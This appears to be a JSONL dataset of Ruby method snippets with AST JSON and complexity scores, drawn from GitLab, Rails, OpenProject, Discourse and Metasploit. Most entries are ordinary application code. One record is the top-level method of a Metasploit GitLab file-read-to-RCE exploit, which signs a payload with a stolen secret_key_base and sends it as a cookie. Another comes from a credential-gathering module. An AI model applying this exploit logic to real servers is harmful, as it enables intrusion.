{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/attachments/attachments_by_container_api.rb","start_line":53,"raw_source":"def restrict_permissions(permissions)\n            return if permissions.empty?\n\n            if container.is_a?(WorkPackage)\n              authorize_in_work_package(permissions, work_package: container)\n            else\n              authorize_in_project(permissions, project: container.project)\n            end\n          end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"restrict_permissions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"permissions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permissions\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]}]},{\"type\":\"send\",\"children\":[null,\"authorize_in_work_package\",{\"type\":\"lvar\",\"children\":[\"permissions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_package\"]},{\"type\":\"send\",\"children\":[null,\"container\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"authorize_in_project\",{\"type\":\"lvar\",\"children\":[\"permissions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"project\"]}]}]}]}]}]}]}","id":"5a78e7a4-6ab3-48c6-a62d-c77c4b9f4b7a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migration_helpers/restrict_gitlab_schema.rb","start_line":24,"raw_source":"def exec_migration(conn, direction)\n          if unmatched_schemas.any?\n            migration_skipped\n            return\n          end\n\n          Gitlab::Database::QueryAnalyzer.instance.within([validator_class, connection_validator_class]) do\n            validator_class.allowed_gitlab_schemas = self.allowed_gitlab_schemas\n\n            super\n          end\n        end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exec_migration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]},{\"type\":\"arg\",\"children\":[\"direction\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unmatched_schemas\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration_skipped\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"QueryAnalyzer\"]},\"instance\"]},\"within\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validator_class\"]},{\"type\":\"send\",\"children\":[null,\"connection_validator_class\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validator_class\"]},\"allowed_gitlab_schemas=\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"allowed_gitlab_schemas\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}]}]}","id":"96bad610-e282-4181-bc60-4abe76aadb54"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/groups/update_service.rb","start_line":34,"raw_source":"def persist(call)\n    removed_users = groups_removed_users(call.result)\n    member_roles = member_roles_to_prune(removed_users)\n    project_ids = member_roles.pluck(:project_id)\n    member_role_ids = member_roles.pluck(:id)\n\n    call = super\n\n    remove_member_roles(member_role_ids)\n    cleanup_members(removed_users, project_ids)\n\n    call\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"persist\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"removed_users\",{\"type\":\"send\",\"children\":[null,\"groups_removed_users\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"member_roles\",{\"type\":\"send\",\"children\":[null,\"member_roles_to_prune\",{\"type\":\"lvar\",\"children\":[\"removed_users\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member_roles\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"member_role_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member_roles\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"remove_member_roles\",{\"type\":\"lvar\",\"children\":[\"member_role_ids\"]}]},{\"type\":\"send\",\"children\":[null,\"cleanup_members\",{\"type\":\"lvar\",\"children\":[\"removed_users\"]},{\"type\":\"lvar\",\"children\":[\"project_ids\"]}]},{\"type\":\"lvar\",\"children\":[\"call\"]}]}]}","id":"bca34861-407e-428e-bdfc-5dcc79903323"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/winbox_settings.rb","start_line":60,"raw_source":"def print_hexdump(data)\n    index = 0\n    while index < data.length\n      chunk = data[index, [16, data.length - index].min]\n      hex_chunk = chunk.each_byte.map { |b| sprintf('%02x', b) }.join(' ')\n      ascii_chunk = chunk.gsub(/[^[:print:]]/, '.')\n      print_status(\"#{hex_chunk.ljust(48)} #{ascii_chunk}\")\n      index += 16\n    end\n  rescue StandardError => e\n    print_error(\"An error occurred: #{e.message}\")\n  end","complexity_score":37.3,"ast_json":"{\"type\":\"def\",\"children\":[\"print_hexdump\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chunk\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[16]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]},\"min\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hex_chunk\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"each_byte\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[null,\"sprintf\",{\"type\":\"str\",\"children\":[\"%02x\"]},{\"type\":\"lvar\",\"children\":[\"b\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ascii_chunk\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^[:print:]]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex_chunk\"]},\"ljust\",{\"type\":\"int\",\"children\":[48]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ascii_chunk\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index\"]},\"+\",{\"type\":\"int\",\"children\":[16]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"An error occurred: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"86d29cd0-0651-4299-806e-4271879166b7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/releases/source.rb","start_line":10,"raw_source":"def all(project, tag_name)\n        Gitlab::Workhorse::ARCHIVE_FORMATS.map do |format|\n          Releases::Source.new(project: project, tag_name: tag_name, format: format)\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"all\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"tag_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Workhorse\"]},\"ARCHIVE_FORMATS\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Releases\"]},\"Source\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_name\"]},{\"type\":\"lvar\",\"children\":[\"tag_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]}]}]}","id":"a5f2aeb3-d257-41e5-aeb6-9f4ff0bcabfd"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/xml_mini/nokogirisax.rb","start_line":71,"raw_source":"def parse(data)\n      if !data.respond_to?(:read)\n        data = StringIO.new(data || \"\")\n      end\n\n      if data.eof?\n        {}\n      else\n        document = document_class.new\n        parser = Nokogiri::XML::SAX::Parser.new(document)\n        parser.parse(data)\n        document.hash\n      end\n    end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"read\"]}]},\"!\"]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"eof?\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"document\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"document_class\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"parser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\"]},\"SAX\"]},\"Parser\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"document\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"document\"]},\"hash\"]}]}]}]}]}","id":"09089971-9a97-4a3d-9f9d-ee712af5c3b8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/nessus.rb","start_line":173,"raw_source":"def nessus_verify_token\n        if @token.nil? || (@token == '')\n          ncusage\n          return false\n        end\n        true\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"nessus_verify_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@token\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@token\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ncusage\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"fdd8b861-1989-4705-a2d4-5bc5588fbda5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/ndjson_pipeline.rb","start_line":163,"raw_source":"def relation_definition\n        import_export_config.top_relation_tree(relation)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"relation_definition\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_export_config\"]},\"top_relation_tree\",{\"type\":\"send\",\"children\":[null,\"relation\"]}]}]}","id":"1361c087-50e2-4d94-9ce1-f413e1098f64"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/http_authentication.rb","start_line":281,"raw_source":"def authentication_request(controller, realm, message = nil)\n        message ||= \"HTTP Digest: Access denied.\\n\"\n        authentication_header(controller, realm)\n        controller.status = 401\n        controller.response_body = message\n      end","complexity_score":5.25,"ast_json":"{\"type\":\"def\",\"children\":[\"authentication_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"controller\"]},{\"type\":\"arg\",\"children\":[\"realm\"]},{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"HTTP Digest: Access denied.\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"authentication_header\",{\"type\":\"lvar\",\"children\":[\"controller\"]},{\"type\":\"lvar\",\"children\":[\"realm\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"status=\",{\"type\":\"int\",\"children\":[401]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"response_body=\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"faffd93b-247c-498c-ad6e-3dca84bff721"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/filters.rb","start_line":55,"raw_source":"def initialize(options = {})\n      @options = options\n      @compilers = {}\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@compilers\",{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"954162bf-0c79-4130-84ae-7f4f72a8d914"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/arel/collectors/substitute_bind_collector_test.rb","start_line":29,"raw_source":"def test_compile\n        quoter = Object.new\n        def quoter.quote(val)\n          val.to_s\n        end\n        sql = compile(ast_with_binds, quoter)\n        assert_equal 'SELECT FROM \"users\" WHERE \"users\".\"age\" = hello AND \"users\".\"name\" = world', sql\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_compile\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quoter\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"new\"]}]},{\"type\":\"defs\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoter\"]},\"quote\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"send\",\"children\":[null,\"compile\",{\"type\":\"send\",\"children\":[null,\"ast_with_binds\"]},{\"type\":\"lvar\",\"children\":[\"quoter\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"SELECT FROM \\\"users\\\" WHERE \\\"users\\\".\\\"age\\\" = hello AND \\\"users\\\".\\\"name\\\" = world\"]},{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}]}","id":"970d1122-ef67-4efe-81d4-d33ce61e5f64"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/time/calculations.rb","start_line":300,"raw_source":"def minus_with_duration(other) # :nodoc:\n    if ActiveSupport::Duration === other\n      other.until(self)\n    else\n      minus_without_duration(other)\n    end\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"minus_with_duration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Duration\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"until\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"minus_without_duration\",{\"type\":\"lvar\",\"children\":[\"other\"]}]}]}]}","id":"d873c2cd-3cc0-4963-bf85-a1ff742fd5c0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/gitlab_file_read_rce.rb","start_line":533,"raw_source":"def exploit\n    secret_key_base = read_secret_key_base\n\n    payload = build_payload\n    signed_cookie_value = sign_payload(secret_key_base, payload)\n\n    send_request_cgi({\n      'uri' => normalize_uri(target_uri.path),\n      'method' => 'GET',\n      'cookie' => \"experimentation_subject_id=#{signed_cookie_value}\"\n    })\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"secret_key_base\",{\"type\":\"send\",\"children\":[null,\"read_secret_key_base\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[null,\"build_payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"signed_cookie_value\",{\"type\":\"send\",\"children\":[null,\"sign_payload\",{\"type\":\"lvar\",\"children\":[\"secret_key_base\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"experimentation_subject_id=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"signed_cookie_value\"]}]}]}]}]}]}]}]}","id":"869ddc16-3e60-44f3-9c50-68198b3c0e99"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/content_localization.rb","start_line":16,"raw_source":"def self.show_translated_post?(post, scope)\n    SiteSetting.content_localization_enabled && post.raw.present? && post.locale.present? &&\n      !post.in_user_locale? && !show_original?(scope)\n  end","complexity_score":17.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"show_translated_post?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]},{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"content_localization_enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"raw\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"locale\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"in_user_locale?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"show_original?\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]},\"!\"]}]}]}","id":"ca624b91-df80-4e35-ad6f-e6051e562dbb"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/sentiment/post_classification.rb","start_line":113,"raw_source":"def classify!(target)\n        return if target.blank?\n        available_classifiers = classifiers\n        return if available_classifiers.blank?\n\n        to_classify = prepare_text(target)\n        return if to_classify.blank?\n\n        already_classified = target.sentiment_classifications.map(&:model_used)\n        classifiers_for_target =\n          available_classifiers.reject { |ac| already_classified.include?(ac[:model_name]) }\n\n        results =\n          classifiers_for_target.reduce({}) do |memo, cft|\n            memo[cft[:model_name]] = request_with(cft[:client], to_classify)\n            memo\n          end\n\n        store_classification(target, results)\n      end","complexity_score":28.8,"ast_json":"{\"type\":\"def\",\"children\":[\"classify!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"available_classifiers\",{\"type\":\"send\",\"children\":[null,\"classifiers\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_classifiers\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"to_classify\",{\"type\":\"send\",\"children\":[null,\"prepare_text\",{\"type\":\"lvar\",\"children\":[\"target\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_classify\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"already_classified\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"sentiment_classifications\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_used\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"classifiers_for_target\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_classifiers\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ac\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"already_classified\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ac\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"model_name\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classifiers_for_target\"]},\"reduce\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"memo\"]},{\"type\":\"arg\",\"children\":[\"cft\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"memo\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cft\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"model_name\"]}]},{\"type\":\"send\",\"children\":[null,\"request_with\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cft\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"client\"]}]},{\"type\":\"lvar\",\"children\":[\"to_classify\"]}]}]},{\"type\":\"lvar\",\"children\":[\"memo\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"store_classification\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"results\"]}]}]}]}","id":"46fb5010-27f3-4fd1-877f-97f07acbb86e"}
{"repo_name":"hanami","file_path":"./repos/hanami/spec/integration/view/helpers/scope_helpers_spec.rb","start_line":31,"raw_source":"def before_prepare\n      write \"app/views/posts/show.rb\", <<~RUBY\n        module TestApp\n          module Views\n            module Posts\n              class Show < TestApp::View\n              end\n            end\n          end\n        end\n      RUBY\n\n      write \"app/templates/posts/show.html.erb\", <<~ERB\n        <h1><%= format_number(12_345) %></h1>\n      ERB\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"before_prepare\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"str\",\"children\":[\"app/views/posts/show.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"module TestApp\\n\"]},{\"type\":\"str\",\"children\":[\"  module Views\\n\"]},{\"type\":\"str\",\"children\":[\"    module Posts\\n\"]},{\"type\":\"str\",\"children\":[\"      class Show < TestApp::View\\n\"]},{\"type\":\"str\",\"children\":[\"      end\\n\"]},{\"type\":\"str\",\"children\":[\"    end\\n\"]},{\"type\":\"str\",\"children\":[\"  end\\n\"]},{\"type\":\"str\",\"children\":[\"end\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"str\",\"children\":[\"app/templates/posts/show.html.erb\"]},{\"type\":\"str\",\"children\":[\"<h1><%= format_number(12_345) %></h1>\\n\"]}]}]}]}","id":"fcc1666e-bff6-41a2-90dc-a4aea97478cb"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/capabilities/capability_query.rb","start_line":44,"raw_source":"def default_scope\n    Capability\n      .default\n      .distinct\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Capability\"]},\"default\"]},\"distinct\"]}]}","id":"4a630770-ec09-4ff2-8671-692b85c59dbc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/base_count_service.rb","start_line":25,"raw_source":"def uncached_count\n    relation_for_count.count\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"uncached_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relation_for_count\"]},\"count\"]}]}","id":"621e7f0a-3a77-4516-af2f-855f0c00589b"}
